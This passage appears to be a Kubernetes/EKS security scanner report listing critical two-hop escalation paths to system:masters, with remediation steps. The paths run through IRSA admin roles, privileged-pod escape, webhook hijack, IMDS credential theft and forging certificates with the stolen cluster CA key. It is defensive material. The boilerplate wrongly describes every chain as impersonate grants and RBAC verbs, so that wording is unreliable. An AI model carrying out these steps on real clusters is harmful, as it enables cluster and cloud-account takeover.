Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/eks-admin-irsa

Subject ServiceAccount/cloud-eks-test/eks-admin-irsa can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess via irsa_assume_role (arn:aws:iam::123456789012:role/AdministratorAccess): ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
2. User/arn:aws:iam::123456789012:role/AdministratorAccess → / via aws_auth_admin (system:masters via aws-auth): external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cloud-eks-test/eks-admin-irsa.
  2. Acting as ServiceAccount/cloud-eks-test/eks-admin-irsa, the attacker uses the irsa_assume_role technique to reach User/arn:aws:iam::123456789012:role/AdministratorAccess via arn:aws:iam::123456789012:role/AdministratorAccess, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA.
  3. Acting as User/arn:aws:iam::123456789012:role/AdministratorAccess, the attacker uses the aws_auth_admin technique via system:masters via aws-auth, which gains external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Assume AWS IAM Role via IRSA irsa_assume_role

    A pod whose ServiceAccount is annotated with eks.amazonaws.com/role-arn can call sts:AssumeRoleWithWebIdentity with the projected SA token and receive short-lived AWS credentials for the named IAM role. The exchange happens entirely in user-space inside the pod, so anyone with exec on that pod (or with create-pod rights in the namespace) inherits the IAM role's permissions.

    What the attacker gains depends on the IAM role's policy. If the role carries AdministratorAccess, PowerUserAccess, or any *:* grant, this is an AWS-account-wide takeover routed through Kubernetes.

    From ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted arn:aws:iam::123456789012:role/AdministratorAccess
    Gives the attacker ServiceAccount can assume arn:aws:iam::123456789012:role/AdministratorAccess via IRSA
  2. Step 2 of 2 AWS IAM principal granted cluster-admin via aws-auth aws_auth_admin

    EKS authenticates AWS IAM principals into Kubernetes via the kube-system/aws-auth ConfigMap. Each entry under mapRoles / mapUsers ties an IAM role or user ARN to a Kubernetes username and a list of groups. If that group list contains system:masters, the IAM principal is hard-coded as cluster-admin by the apiserver. If it contains any group bound to cluster-admin via a ClusterRoleBinding, the effect is the same: the IAM principal can do anything in the cluster.

    This grant is invisible to kubectl get clusterrolebindings: the mapping lives in a ConfigMap and the resulting identity is synthesized at request-time by the EKS aws-iam-authenticator.

    From User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted system:masters via aws-auth
    Gives the attacker external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission arn:aws:iam::123456789012:role/AdministratorAccess that enables the first hop (ServiceAccount/cloud-eks-test/eks-admin-irsa → User/arn:aws:iam::123456789012:role/AdministratorAccess).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/cutres/cutres-doublebind Cluster 8.8
ServiceAccount/cutres/cutres-doublebind can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/cutres/cutres-doublebind → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-doublebind

Subject ServiceAccount/cutres/cutres-doublebind can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/cutres/cutres-doublebind → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node
2. ServiceAccount/cutres/cutres-doublebind → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/cutres/cutres-doublebind.
  2. Acting as ServiceAccount/cutres/cutres-doublebind, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Acting as ServiceAccount/cutres/cutres-doublebind, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Survives cutting the cutres-pod-creator-a binding (2 hops)

This route reaches the same target without the cutres-pod-creator-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/cutres/cutres-doublebind
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/cutres/cutres-doublebind → /). Evaluated cut: removing this subject from the cutres-pod-creator-a binding that grants hop 1. A route to the same sink survives that cut.
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/cutres/cutres-doublebind → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/foothold-fixtures/foothold-priv Cluster 8.8
ServiceAccount/foothold-fixtures/foothold-priv can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/foothold-fixtures/foothold-priv → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-priv

Subject ServiceAccount/foothold-fixtures/foothold-priv can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/foothold-fixtures/foothold-priv → / via pod_host_escape (privileged): runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
2. ServiceAccount/foothold-fixtures/foothold-priv → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/foothold-fixtures/foothold-priv.
  2. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Acting as ServiceAccount/foothold-fixtures/foothold-priv, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted privileged
    Gives the attacker runs in pod foothold-fixtures/foothold-priv-app-568f779db7-cmqmb with privileged
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/foothold-fixtures/foothold-priv
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission privileged that enables the first hop (ServiceAccount/foothold-fixtures/foothold-priv → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission privileged that enables the first hop (ServiceAccount/foothold-fixtures/foothold-priv → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/hookbackend-fixtures/hookbackend-operator Cluster 8.8
ServiceAccount/hookbackend-fixtures/hookbackend-operator can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/hookbackend-operator → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/hookbackend-operator

Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via control_plane_backend_hijack (write services + read secrets in hookbackend-fixtures): can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
2. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/hookbackend-fixtures/hookbackend-operator.
  2. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker takes over a Service the API server itself calls (write services + read secrets in hookbackend-fixtures): it steers the Service's traffic to a pod it controls and presents the backend's serving certificate, which the namespace's Secrets or pods hand it. Every request the API server sends that backend, admission reviews or aggregated API calls carrying the API server's own credentials, now arrives at the attacker.
  3. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Control-plane backend hijack control_plane_backend_hijack

    Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

    A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted write services + read secrets in hookbackend-fixtures
    Gives the attacker can take over the backend of MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in namespace hookbackend-fixtures, which the API server calls with its own credentials
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission write services + read secrets in hookbackend-fixtures that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission write services + read secrets in hookbackend-fixtures that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/local-path-storage/local-path-provisioner-service-account Cluster 8.8
ServiceAccount/local-path-storage/local-path-provisioner-service-account can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/local-path-storage/local-path-provisioner-service-account → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account

Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/local-path-storage/local-path-provisioner-service-account → / via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node
2. ServiceAccount/local-path-storage/local-path-provisioner-service-account → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/local-path-storage/local-path-provisioner-service-account.
  2. Acting as ServiceAccount/local-path-storage/local-path-provisioner-service-account, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Acting as ServiceAccount/local-path-storage/local-path-provisioner-service-account, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Survives cutting the local-path-provisioner-bind binding (2 hops)

This route reaches the same target without the local-path-provisioner-bind binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod local-path-storage/local-path-provisioner-67b8995b4b-r5gbn falls back to node IAM role via IMDS
  2. Step 2 of 2 Control-plane PKI theft control_plane_pki_theft

    Root on a node is serious anywhere, but root on a control-plane node is game over. The cluster's certificate authority private key sits at /etc/kubernetes/pki/ca.key. With it an attacker signs a client certificate carrying O=system:masters entirely offline, and the API server accepts it because that group short-circuits authorization.

    No RBAC object changes, so no audit event records the grant. Recovery means rotating the cluster CA, not merely deleting a binding.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted root on a schedulable control-plane node
    Gives the attacker can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account → /). Evaluated cut: removing this subject from the local-path-provisioner-bind binding that grants hop 1. A route to the same sink survives that cut.
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/local-path-storage/local-path-provisioner-service-account → /).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/map-fixtures/sa-mutating-policy Cluster 8.8
ServiceAccount/map-fixtures/sa-mutating-policy can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/map-fixtures/sa-mutating-policy → system:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/map-fixtures/sa-mutating-policy

Subject ServiceAccount/map-fixtures/sa-mutating-policy can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/map-fixtures/sa-mutating-policy → / via mutating_policy_inject (create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings): can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time
2. ServiceAccount/map-fixtures/sa-mutating-policy → / via control_plane_pki_theft (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/map-fixtures/sa-mutating-policy.
  2. Acting as ServiceAccount/map-fixtures/sa-mutating-policy, the attacker uses the mutating_policy_inject technique via create/update mutatingadmissionpolicies + mutatingadmissionpolicybindings, which gains can author and bind a MutatingAdmissionPolicy that injects a privileged/hostPath pod at admission time.
  3. Acting as ServiceAccount/map-fixtures/sa-mutating-policy, the attacker uses the control_plane_pki_theft technique via root on a schedulable control-plane node, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 MutatingAdmissionPolicy injection mutating_policy_inject

